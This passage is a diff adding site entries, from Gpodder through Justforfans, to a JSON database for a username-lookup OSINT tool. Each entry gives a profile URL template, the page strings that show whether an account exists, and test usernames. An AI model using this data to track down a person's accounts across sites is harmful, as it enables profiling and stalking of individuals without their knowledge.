"status_code", + "alexaRank": 1, + "urlMain": "https://play.google.com/store", + "url": "https://play.google.com/store/apps/developer?id={username}", + "usernameClaimed": "KONAMI", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gorod.dp.ua": { + "tags": [ + "de", + "forum", + "ua" + ], + "engine": "vBulletin", + "alexaRank": 66670, + "urlMain": "https://forum.gorod.dp.ua/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gorodanapa": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0442\u0430\u043a\u043e\u0433\u043e \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430 \u0444\u043e\u0440\u0443\u043c\u0430 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 4204120, + "urlMain": "http://gorodanapa.ru/", + "url": "http://gorodanapa.ru/forum/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gothic": { + "urlSubpath": "/forum", + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "http://gothic.su", + "usernameClaimed": "Lestat", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GotovimDoma": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + " \u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f" + ], + "alexaRank": 30665, + "urlMain": "https://gotovim-doma.ru", + "url": "https://gotovim-doma.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "eda1", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Govloop": { + "tags": [ + "education" + ], + "checkType": "message", + "presenseStrs": [ + "xprofile-personal-li" + ], + "absenceStrs": [ + "article-404-thumb article-thumb" + ], + "alexaRank": 247058, + "urlMain": "https://www.govloop.com", + "url": "https://www.govloop.com/members/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gpodder": { + "checkType": "status_code", + "alexaRank": 2509811, + "urlMain": "https://gpodder.net/", + "url": "https://gpodder.net/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bit.ly": { + "tags": [ + "links" + ], + "checkType": "status_code", + "alexaRank": 2604, + "urlMain": "https://bit.ly", + "url": "https://bit.ly/{username}", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gps-data-team": { + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "" + ], + "alexaRank": 1021858, + "urlMain": "https://www.gps-data-team.com", + "url": "https://www.gps-data-team.com/pda-gps-navigation/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gps-forumCOM": { + "engine": "XenForo", + "alexaRank": 3328006, + "urlMain": "https://www.gps-forums.com", + "usernameClaimed": "johnash", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "tech" + ] + }, + "Gradle": { + "checkType": "message", + "presenseStrs": [ + "Joined on" + ], + "absenceStrs": [ + "User not found" + ], + "url": "https://plugins.gradle.org/u/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Grailed": { + "checkType": "status_code", + "url": "https://www.grailed.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gramho": { + "tags": [ + "photo" + ], + "checkType": "message", + "presenseStrs": [ + "Instagram Posts" + ], + "alexaRank": 4795, + "urlMain": "https://gramho.com/", + "url": "https://gramho.com/explore-hashtag/{username}", + "source": "Instagram", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Gravatar": { + "tags": [ + "photo" + ], + "urlProbe": "http://en.gravatar.com/{username}.json", + "checkType": "message", + "presenseStrs": [ + "requestHash" + ], + "absenceStrs": [ + "User not found" + ], + "alexaRank": 5585, + "urlMain": "http://en.gravatar.com/", + "url": "http://en.gravatar.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gribnikikybani": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 40212, + "urlMain": "http://gribnikikybani.mybb.ru", + "url": "http://gribnikikybani.mybb.ru/search.php?action=search&keywords=&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gribnyemesta": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "alexaRank": 491590, + "urlMain": "https://gribnyemesta.unoforum.pro", + "url": "https://gribnyemesta.unoforum.pro/?32-{username}", + "usernameClaimed": "raevsku", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Gulfcoastgunforum": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 3333046, + "urlMain": "https://gulfcoastgunforum.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gumroad": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "presenseStrs": [ + "title=\"Gumroad\"" + ], + "regexCheck": "^[^\\.]+$", + "alexaRank": 4728, + "urlMain": "https://www.gumroad.com/", + "url": "https://www.gumroad.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gunandgame": { + "disabled": true, + "ignore403": true, + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found. Please enter a member's entire name." + ], + "urlMain": "https://www.gunandgame.co", + "url": "https://www.gunandgame.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gunboards": { + "tags": [ + "forum", + "in", + "us" + ], + "presenseStrs": [ + "latest-activity" + ], + "engine": "XenForo", + "alexaRank": 662496, + "urlMain": "https://forums.gunboards.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Guns.ru": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430" + ], + "absenceStrs": [ + "\u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 29785, + "urlMain": "https://forum.guns.ru/", + "url": "https://forum.guns.ru/forummisc/show_profile/00098415?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GunsAndAmmo": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 119883, + "urlMain": "https://gunsandammo.com/", + "url": "https://forums.gunsandammo.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Guru": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 4420, + "urlMain": "https://www.guru.com", + "url": "https://www.guru.com/freelancers/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GuruShots": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "GS POINTS" + ], + "alexaRank": 20926, + "urlMain": "https://gurushots.com/", + "url": "https://gurushots.com/{username}/photos", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gvectors": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 97985, + "urlMain": "https://gvectors.com", + "url": "https://gvectors.com/forum/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "HackTheBox": { + "tags": [ + "forum", + "us" + ], + "checkType": "status_code", + "alexaRank": 26375, + "urlMain": "https://forum.hackthebox.eu/", + "url": "https://forum.hackthebox.eu/profile/{username}", + "usernameClaimed": "angar", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Hackaday": { + "tags": [ + "de", + "us" + ], + "checkType": "status_code", + "alexaRank": 33363, + "urlMain": "https://hackaday.io/", + "url": "https://hackaday.io/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Hackenproof": { + "tags": [ + "in", + "ua" + ], + "checkType": "message", + "presenseStrs": [ + "Stats" + ], + "absenceStrs": [ + "Top hackers of" + ], + "alexaRank": 662911, + "urlMain": "https://hackenproof.com/arbin", + "url": "https://hackenproof.com/{username}", + "usernameClaimed": "arbin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "HackerNews": { + "tags": [ + "news", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "No such user" + ], + "alexaRank": 7111, + "urlMain": "https://news.ycombinator.com/", + "url": "https://news.ycombinator.com/user?id={username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "HackerOne": { + "tags": [ + "hacking", + "in" + ], + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "alexaRank": 9786, + "urlMain": "https://hackerone.com/", + "url": "https://hackerone.com/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "HackeralexaRank": { + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "Something went wrong" + ], + "urlMain": "https://hackeralexaRank.com/", + "url": "https://hackeralexaRank.com/{username}", + "usernameClaimed": "satznova", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hackerearth": { + "tags": [ + "freelance" + ], + "checkType": "message", + "alexaRank": 7807, + "absenceStrs": [ + "404. URL not found." + ], + "presenseStrs": [ + "Points" + ], + "urlMain": "https://www.hackerearth.com", + "url": "https://www.hackerearth.com/@{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hackerrank": { + "checkType": "message", + "presenseStrs": [ + "profile-username-heading" + ], + "absenceStrs": [ + "We could not find the page you were looking for, so we found something to make you laugh to make up for it." + ], + "regexCheck": "^[^\\.]+$", + "url": "https://hackerrank.com/{username}", + "usernameClaimed": "uheara_konen", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "HackingWithSwift": { + "tags": [ + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "Users - Hacking with Swift" + ], + "alexaRank": 25433, + "urlMain": "https://www.hackingwithswift.com", + "url": "https://www.hackingwithswift.com/users/{username}", + "usernameClaimed": "davextreme", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hackthissite": { + "tags": [ + "hacking" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "Cannot Retrieve Information For The Specified Username" + ], + "alexaRank": 77182, + "urlMain": "https://www.hackthissite.org", + "url": "https://www.hackthissite.org/user/view/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hairmaniac": { + "tags": [ + "medicine", + "ru" + ], + "checkType": "status_code", + "alexaRank": 410477, + "urlMain": "https://www.hairmaniac.ru/", + "url": "https://www.hairmaniac.ru/profile/{username}/", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Handgunforum": { + "disabled": true, + "tags": [ + "ca", + "forum" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found. Please enter a member's entire name." + ], + "alexaRank": 1293514, + "urlMain": "https://www.handgunforum.net", + "url": "https://www.handgunforum.net/xf/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hardforum": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 43068, + "urlMain": "https://hardforum.com", + "url": "https://hardforum.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hctorpedo": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 223884, + "urlMain": "http://hctorpedo.ru", + "url": "http://hctorpedo.ru/user/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hellboundhackers": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 234900, + "urlMain": "https://www.hellboundhackers.org", + "url": "https://www.hellboundhackers.org/user/{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hexrpg": { + "checkType": "message", + "presenseStrs": [ + "Real Name" + ], + "absenceStrs": [ + "Error : User " + ], + "url": "https://www.hexrpg.com/userinfo/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hipforums": { + "tags": [ + "forum", + "in", + "ru", + "us" + ], + "disabled": true, + "engine": "XenForo", + "alexaRank": 389296, + "urlMain": "https://www.hipforums.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hitmanforum": { + "tags": [ + "forum", + "rs", + "us" + ], + "engine": "Discourse", + "alexaRank": 650297, + "urlMain": "https://www.hitmanforum.com", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hockeyforum": { + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 3554704, + "urlMain": "https://www.hockeyforum.com", + "url": "https://www.hockeyforum.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777", + "tags": [ + "forum", + "sport" + ] + }, + "Holiday.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0410\u043d\u043a\u0435\u0442\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u0430, \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u0430" + ], + "urlMain": "https://www.holiday.ru", + "url": "https://www.holiday.ru/ru/{username}", + "usernameClaimed": "marina", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7663548 + }, + "Hometheaterforum": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 203539, + "urlMain": "https://www.hometheaterforum.com", + "url": "https://www.hometheaterforum.com/community/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Honda": { + "tags": [ + "ru", + "ua" + ], + "checkType": "status_code", + "alexaRank": 1598732, + "urlMain": "https://honda.org.ua", + "url": "https://honda.org.ua/forum/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hoobly": { + "disabled": true, + "tags": [ + "classified", + "in" + ], + "checkType": "status_code", + "alexaRank": 25774, + "urlMain": "https://www.hoobly.com", + "url": "https://www.hoobly.com/u/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hotcopper": { + "tags": [ + "finance" + ], + "checkType": "message", + "absenceStrs": [ + "error-page", + "error-page home container", + "card-footer-item", + ">
    " + ], + "alexaRank": 4912, + "urlMain": "https://www.ifttt.com/", + "url": "https://www.ifttt.com/p/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Inkbunny": { + "checkType": "message", + "presenseStrs": [ + "Profile | Inkbunny, the Furry Art Community" + ], + "absenceStrs": [ + "Members | Inkbunny, the Furry Art Community" + ], + "url": "https://inkbunny.net/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ipolska.pl": { + "checkType": "message", + "presenseStrs": [ + "@ipolska.pl" + ], + "absenceStrs": [ + "The page you are looking for isn't here." + ], + "url": "https://ipolska.pl/@{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "IRC-Galleria": { + "tags": [ + "fi", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Ei hakutuloksia" + ], + "alexaRank": 118778, + "urlMain": "https://irc-galleria.net", + "url": "https://irc-galleria.net/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ITVDN Forum": { + "tags": [ + "forum", + "ru", + "ua" + ], + "engine": "Discourse", + "alexaRank": 144827, + "urlMain": "https://forum.itvdn.com", + "usernameClaimed": "pizzaro", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Icheckmovies": { + "tags": [ + "movies" + ], + "checkType": "status_code", + "alexaRank": 86080, + "urlMain": "https://www.icheckmovies.com/", + "url": "https://www.icheckmovies.com/profiles/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Icobench": { + "tags": [ + "in", + "kr", + "ru" + ], + "checkType": "response_url", + "alexaRank": 42461, + "urlMain": "https://icobench.com", + "url": "https://icobench.com/u/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ieoc": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 1096765, + "urlMain": "https://ieoc.com/", + "url": "https://ieoc.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Iknifecollector": { + "checkType": "response_url", + "alexaRank": 9284485, + "urlMain": "https://iknifecollector.com", + "url": "https://iknifecollector.com/profiles/profile/show?id={username}", + "usernameClaimed": "BryanW", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Illustrators": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 98573, + "urlMain": "https://illustrators.ru", + "url": "https://illustrators.ru/users/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ImageShack": { + "tags": [ + "photo", + "sharing" + ], + "checkType": "response_url", + "alexaRank": 9748, + "urlMain": "https://imageshack.com/", + "url": "https://imageshack.com/user/{username}", + "errorUrl": "https://imageshack.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ImgUp.cz": { + "errors": { + "Composer detected issues in your platform": "Site error" + }, + "checkType": "status_code", + "alexaRank": 2499762, + "urlMain": "https://imgup.cz/", + "url": "https://imgup.cz/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Imgur": { + "tags": [ + "photo" + ], + "urlProbe": "https://api.imgur.com/account/v1/accounts/{username}?client_id=546c25a59c58ad7&include=trophies%2Cmedallions", + "checkType": "status_code", + "alexaRank": 77, + "urlMain": "https://imgur.com", + "url": "https://imgur.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Indog": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 4380944, + "urlMain": "http://www.indog.ru/", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Influenster": { + "tags": [ + "us" + ], + "errors": { + "Attention Required! | Cloudflare": "Cloudflare security protection detected" + }, + "checkType": "message", + "absenceStrs": [ + "404 - Page not found" + ], + "alexaRank": 15753, + "urlMain": "https://www.influenster.com/", + "url": "https://www.influenster.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "InfosecInstitute": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 15970, + "urlMain": "https://community.infosecinstitute.com", + "url": "https://community.infosecinstitute.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Infourok": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 2683, + "urlMain": "https://infourok.ru", + "url": "https://infourok.ru/user/{username}", + "usernameClaimed": "artemeva-evgeniya-evgenevna", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Infrance": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 215449, + "urlMain": "https://www.infrance.su/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Infura": { + "tags": [ + "forum", + "kr", + "us" + ], + "engine": "Discourse", + "alexaRank": 40621, + "urlMain": "https://community.infura.io", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ingunowners": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "urlMain": "https://www.ingunowners.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5872258 + }, + "Ingvarr": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 103551, + "urlMain": "http://ingvarr.net.ru/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Insanejournal": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "404 Not Found", + "is not currently registered" + ], + "alexaRank": 57161, + "urlMain": "insanejournal.com", + "url": "http://{username}.insanejournal.com/profile", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Instagram": { + "disabled": true, + "tags": [ + "photo" + ], + "errors": { + "Login \u2022 Instagram": "Login required" + }, + "checkType": "message", + "presenseStrs": [ + "
    " + ], + "alexaRank": 32, + "urlMain": "https://www.instagram.com/", + "url": "https://www.instagram.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Instructables": { + "tags": [ + "hobby" + ], + "checkType": "message", + "absenceStrs": [ + "404: We're sorry, things break sometimes" + ], + "alexaRank": 1531, + "urlMain": "https://www.instructables.com/", + "url": "https://www.instructables.com/member/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Interfaith": { + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 3172198, + "urlMain": "https://www.interfaith.org", + "url": "https://www.interfaith.org/community/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "Invalidnost": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 506211, + "urlMain": "https://www.invalidnost.com", + "usernameClaimed": "astra71", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "IonicFramework": { + "checkType": "status_code", + "url": "https://forum.ionicframework.com/u/{username}", + "usernameClaimed": "theblue222", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Iphones.ru": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 14073, + "urlMain": "https://www.iphones.ru", + "url": "https://www.iphones.ru/iNotes/author/{username}?profile=1", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ispdn": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "errors": { + "The script encountered an error and will be aborted": "Site error" + }, + "alexaRank": 3405363, + "urlMain": "http://ispdn.ru", + "url": "http://ispdn.ru/forum/user/{username}/", + "usernameClaimed": "AlexG", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "IssueHunt": { + "tags": [ + "dz", + "finance", + "in", + "ir", + "tr", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The user does not exist." + ], + "presenceStrs": [ + "IssueHunt contributions in the past year" + ], + "alexaRank": 379149, + "urlMain": "https://issuehunt.io", + "url": "https://issuehunt.io/u/{username}", + "usernameClaimed": "admc", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Issuu": { + "urlProbe": "https://issuu.com/query?format=json&_=3210224608766&profileUsername={username}&action=issuu.user.get_anonymous", + "checkType": "message", + "presenseStrs": [ + "displayName" + ], + "absenceStrs": [ + "No such user" + ], + "alexaRank": 454, + "urlMain": "https://issuu.com/", + "url": "https://issuu.com/{username}", + "usernameClaimed": "jenny", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "business" + ] + }, + "Italia": { + "tags": [ + "it", + "ru", + "ua" + ], + "checkType": "status_code", + "alexaRank": 238714, + "urlMain": "http://italia-ru.com/", + "url": "http://italia-ru.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Itch.io": { + "tags": [ + "blog" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 1673, + "urlMain": "https://itch.io/", + "url": "https://{username}.itch.io/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Itforums": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 3291616, + "urlMain": "https://itforums.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Itfy": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 3103762, + "urlMain": "https://itfy.org", + "url": "https://itfy.org/members/?username={username}", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Jbzd": { + "checkType": "message", + "presenseStrs": [ + "Dzidy u\u017cytkownika" + ], + "absenceStrs": [ + "B\u0142\u0105d 404" + ], + "url": "https://jbzd.com.pl/uzytkownik/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Jeja.pl": { + "checkType": "message", + "presenseStrs": [ + "Profil u\u017cytkownika" + ], + "absenceStrs": [ + "Niepoprawny login" + ], + "url": "https://www.jeja.pl/user,{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Jellyfin Weblate": { + "checkType": "message", + "presenseStrs": [ + "user-page text-center" + ], + "absenceStrs": [ + "Page not found" + ], + "url": "https://translate.jellyfin.org/user/{username}/", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Jer.forum24.ru": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "urlMain": "http://jer.forum24.ru", + "url": "http://jer.forum24.ru/?32-{username}", + "usernameClaimed": "aga", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Jetpunk": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "404 File Not Found" + ], + "alexaRank": 36980, + "urlMain": "https://www.jetpunk.com", + "url": "https://www.jetpunk.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Jigidi": { + "tags": [ + "hobby" + ], + "checkType": "status_code", + "alexaRank": 204505, + "urlMain": "https://www.jigidi.com/", + "url": "https://www.jigidi.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Jigsawplanet": { + "tags": [ + "fr", + "us" + ], + "checkType": "status_code", + "alexaRank": 4584, + "urlMain": "https://www.jigsawplanet.com", + "url": "https://www.jigsawplanet.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Jimdo": { + "tags": [ + "jp" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 19348, + "urlMain": "https://jimdosite.com/", + "url": "https://{username}.jimdosite.com", + "usernameClaimed": "jenny", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Joby": { + "tags": [ + "freelance", + "ru" + ], + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430" + ], + "alexaRank": 5916275, + "urlMain": "https://joby.su", + "url": "https://joby.su/{username}/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Joemonster": { + "checkType": "message", + "presenseStrs": [ + "Aktywno\u015b\u0107 bojownicza" + ], + "absenceStrs": [ + "Nie wiem jak ci to powiedzie\u0107" + ], + "url": "https://joemonster.org/bojownik/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Joomlart": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "user-scalable=no" + ], + "alexaRank": 32848, + "urlMain": "https://www.joomlart.com", + "url": "https://www.joomlart.com/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "JoplinApp": { + "checkType": "status_code", + "url": "https://discourse.joplinapp.org/u/{username}", + "usernameClaimed": "laurent", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Justforfans": { + "checkType": "message", + "presenseStrs": [ + "@ JustFor.Fans" + ], + "absenceStrs": [ + "Show Me:" + ], + "url": "https://justfor.fans/{username}", + "usernameClaimed": "devinfrancoxxx", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + 